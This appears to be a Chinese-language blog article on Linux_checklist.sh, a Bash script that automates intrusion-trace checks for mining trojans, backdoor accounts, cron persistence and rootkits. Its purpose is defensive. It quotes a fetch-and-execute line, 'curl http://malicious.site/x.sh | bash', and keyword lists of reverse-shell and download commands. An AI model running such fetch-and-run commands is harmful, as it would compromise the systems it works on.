Linux黑客入侵痕迹排查实战指南一个脚本帮你揪出“隐形杀手”前几天在某公众号看到一篇介绍Linux_checklist.sh开源工具的文章受到启发将其整理出来与大家分享。它能自动化完成7大模块、超过20项关键安全检查助你快速定位系统入侵痕迹。面对日益猖獗的 Linux 系统入侵事件从挖矿木马、勒索软件到高级持续性威胁APT黑客往往会精心隐藏自己的踪迹使传统检查手段难以发现。安全运维人员经常面临一个难题系统似乎运行正常但 CPU 悄无声息地满载或者深夜突然出现异常的外联流量。如何系统性地进行安全排查而不是“头痛医头脚痛医脚”今天介绍一款开源工具Linux_checklist.sh它将复杂的入侵痕迹排查自动化、系统化涵盖从系统资源、网络连接到文件完整性的全方位检查。项目地址https://github.com/HuyaThomas/Linux_checklist01 工具概览7大检查模块Linux_checklist.sh 是一个 Bash 脚本专为快速、全面地检查 Linux 系统安全状况而设计。它不需要安装额外依赖直接在目标系统上运行即可生成详尽的诊断报告。脚本的核心设计理念是“无遗漏、可追溯”其检查逻辑覆盖了黑客入侵后最常见的行为模式和痕迹残留。脚本主要包含七大检查模块系统资源检查排查挖矿等资源消耗型恶意软件。网络连接分析探测后门连接与异常监听。进程深度分析捕捉无文件落地攻击等高级威胁。账号与权限审计发现未授权账户与权限滥用。持久化与启动项扫描清除病毒自启动机制。文件完整性校验检测 Rootkit 和系统命令篡改。日志与痕迹分析还原攻击者的操作路径。每个模块都针对特定的安全威胁设计组合起来形成了一套完整的安全体检方案。02 系统资源检查挖矿木马的“照妖镜”挖矿木马是当前 Linux 系统面临的最常见威胁之一其典型特征就是异常高的 CPU 或内存占用。脚本首先会检查系统负载列出资源占用 Top5 的进程。一个正常的数据库或 Web 服务进程突然持续占用 90% 以上的 CPU就非常可疑。除了进程列表脚本还会检查磁盘空间使用情况。黑客有时会用日志文件或临时文件填满磁盘制造服务瘫痪或掩盖其他恶意行为。内存使用情况也是关键指标。某些高级木马会尽量降低 CPU 使用率以避免被发现但内存中会残留异常进程。通过对比/proc/meminfo和实际进程占用可以发现隐藏的内存消耗。03 网络连接分析切断黑客的“生命线”网络连接是黑客控制受害主机的通道也是排查的重点。首先检查网卡是否处于混杂模式。这是内网嗅探的典型迹象黑客可能正在抓取内网传输的密码或敏感数据。脚本会检查每个网络接口的PROMISC标志。DNS 和 Hosts 文件检查能发现网络劫持。黑客常修改这些配置将合法域名指向自己的恶意服务器。脚本会对比当前 DNS 设置与已知安全配置并扫描/etc/hosts中的异常条目。端口监听检查能暴露隐藏的后门。除了常见的 22、80、443 端口脚本会列出所有监听端口特别是高位端口如 31337、44444 等这些常被用作反向 Shell 或 C2 通信端口。外部连接统计能发现命令与控制C2服务器。脚本会列出连接最频繁的外部 IPTop10帮助识别可疑的境外 IP 或已知的恶意域名解析结果。04 进程深度分析揪出“隐身”恶意程序现代恶意软件越来越擅长隐藏自己传统的ps命令可能已经失效。检查内存中已删除文件是脚本的核心功能之一。通过遍历/proc/[pid]/exe符号链接脚本能发现那些“进程仍在运行但对应的可执行文件已被删除”的情况。这是无文件攻击和 Rootkit 的典型特征旨在逃避基于文件的杀毒软件扫描。分析高资源进程的详细信息包括其启动参数、父进程关系、打开的文件描述符等。一个通过curl http://malicious.site/x.sh | bash启动的进程其参数中会残留恶意 URL 痕迹。进程树分析能揭示攻击链条。例如一个短暂的wget进程下载了某个脚本该脚本又启动了另一个守护进程这种父子关系在正常的运维操作中很少见。05 账号与权限审计守住系统“大门”权限提升和账号滥用是黑客维持访问的常用手段。检查特权用户不止于root。脚本会扫描/etc/passwd查找所有 UID0 的用户。黑客常创建隐藏的超级用户账号如将普通用户的 UID 改为 0或在用户名中加入不可见字符。影子文件分析/etc/shadow能发现哪些账户实际上可以登录密码字段不为*或!。一个被禁用的服务账户突然有了可登录的密码极可能已被入侵。Sudo 权限审计检查/etc/sudoers和/etc/sudoers.d/中的配置找出谁拥有ALL(ALL) ALL这类过高权限。黑客可能会给某个被控账户添加 sudo 权限方便后续操作。SSH 公钥检查遍历/root/.ssh/authorized_keys和所有/home/*/.ssh/authorized_keys文件。一个未知的公钥可能意味着攻击者已经设置了免密登录后门。SSH 劫持检测检查是否存在~/.ssh/rc或/etc/ssh/sshrc文件这些文件中的命令会在用户通过 SSH 登录时自动执行是理想的恶意脚本植入点。06 持久化与启动项斩断“复活”机制即使清除了恶意进程如果未清除其持久化机制系统重启后木马还会“复活”。定时任务检查是最重要的环节。脚本不仅检查/etc/crontab和/etc/cron.d/还会遍历所有用户的crontab -l结果。特征匹配会自动扫描任务中是否包含wget、curl、nc、bash -i、perl -e等常用于下载或建立反向 Shell 的命令。系统启动项检查涵盖 Systemd 服务systemctl list-unit-files --typeservice --stateenabled和传统的/etc/rc.local。黑客常会创建伪装成系统服务的恶意 Unit 文件或在rc.local末尾添加一行启动命令。其他持久化位置如~/.bashrc、~/.profile、/etc/profile.d/也可能被注入恶意命令脚本会对这些文件进行关键词扫描。07 文件完整性校验发现“李鬼”命令Rootkit 的核心技术就是替换系统命令如将ps替换为不显示恶意进程的版本。二进制校验利用系统包管理器如 RPM的校验功能。执行rpm -Vf /bin/ls等命令对比核心命令的哈希值与官方包中的值是否一致。任何修改包括文件大小、MD5、权限、所有者都会被标记出来。SUID 文件扫描查找具有 SetUID 权限的可执行文件。这些文件运行时具有文件所有者的权限常为 root如果被植入后门普通用户执行即可提权。脚本会列出系统中所有 SUID 文件并重点标记那些非常规位置或可疑名称的文件。临时目录扫描检查/tmp和/var/tmp下是否有.sh、.py、.elf等可执行文件。黑客常在这些权限宽松的目录暂存攻击工具。文件属性检查发现被chattr i锁定的文件。黑客可能会锁定自己的恶意文件防止被管理员删除也可能会锁定关键的日志文件阻止攻击记录被写入。08 日志与痕迹分析还原攻击时间线日志是事后调查的宝贵证据黑客往往会尝试清除或篡改日志。暴力破解分析统计/var/log/secureRHEL/CentOS或/var/log/auth.logDebian/Ubuntu中登录失败次数最多的 IP 地址。某个 IP 在短时间内尝试了数百次 SSH 登录很可能是在进行暴力破解。成功登录记录显示最近成功登录的用户、时间和源 IP。一个来自异常地理位置或非工作时间的 root 登录值得深入调查。账号变动记录搜索useradd和userdel的操作日志。攻击者常会创建隐藏账户作为后门或在退出前删除自己创建的临时账户。历史命令审计扫描 root 用户的~/.bash_history以及其他有 sudo 权限用户的命令历史。搜索wget、curl下载木马、tar打包外传数据、passwd修改密码、chmod 777放宽权限等敏感操作。注意高级黑客会清空或篡改.bash_history所以它的缺失或异常简短也是一个警示信号。09 实战使用指南获取与运行wgethttps://raw.githubusercontent.com/HuyaThomas/Linux_checklist/main/linux_checklist.shchmodx linux_checklist.shsudo./linux_checklist.sh建议使用sudo运行以确保能访问所有必要的系统信息和文件。输出解读脚本执行后会生成一份结构化的报告通常输出到屏幕并保存到文件。报告按上述七大模块组织每个发现项会标记严重级别高危强烈建议立即处理如发现未知 SUID 文件、恶意定时任务。中危需要尽快审查如异常的高资源进程、非常规监听端口。低危/信息供参考或优化使用如磁盘空间不足警告。安全注意事项仅在授权环境下运行此脚本。脚本会读取大量系统敏感信息如影子文件、私钥位置、进程内存映射等输出文件必须妥善保管避免二次泄露。建议在隔离环境中分析报告。将输出文件传输到安全的分析机上进行查看避免在可能已被入侵的主机上直接打开防止潜在的键击记录或屏幕捕获恶意软件。结合其他工具交叉验证。对于脚本发现的异常项可使用strace、lsof、netstat -anp等原生命令进行深入分析或使用chkrootkit、rkhunter等专业 Rootkit 检测工具进行二次扫描。10 总结主动防御防患未然Linux_checklist.sh 的价值不仅在于“事后检测”更在于“主动防御”。定期运行此脚本可以在攻击者完全控制系统前发现蛛丝马迹。它尤其适合以下场景云服务器或 VPS 突发性能异常时快速判断是否被植入挖矿程序。安全事件应急响应时系统化收集证据避免遗漏关键痕迹。新接手或重要业务上线前进行全面的安全基线检查。作为自动化安全监控的一部分定期生成安全状态报告。安全是一场攻防不对称的战争攻击者只需要找到一个漏洞而防御者需要守护整个系统。通过自动化工具将重复、复杂的检查流程标准化运维人员可以将更多精力投入到安全架构优化和威胁分析中真正提升系统的整体安全水位。正如美国计算机应急准备小组US-CERT所言“预防是理想的但检测是必须的。” 在复杂的网络环境中没有任何系统能保证100%不被入侵关键在于能否快速发现、准确定位、有效清除。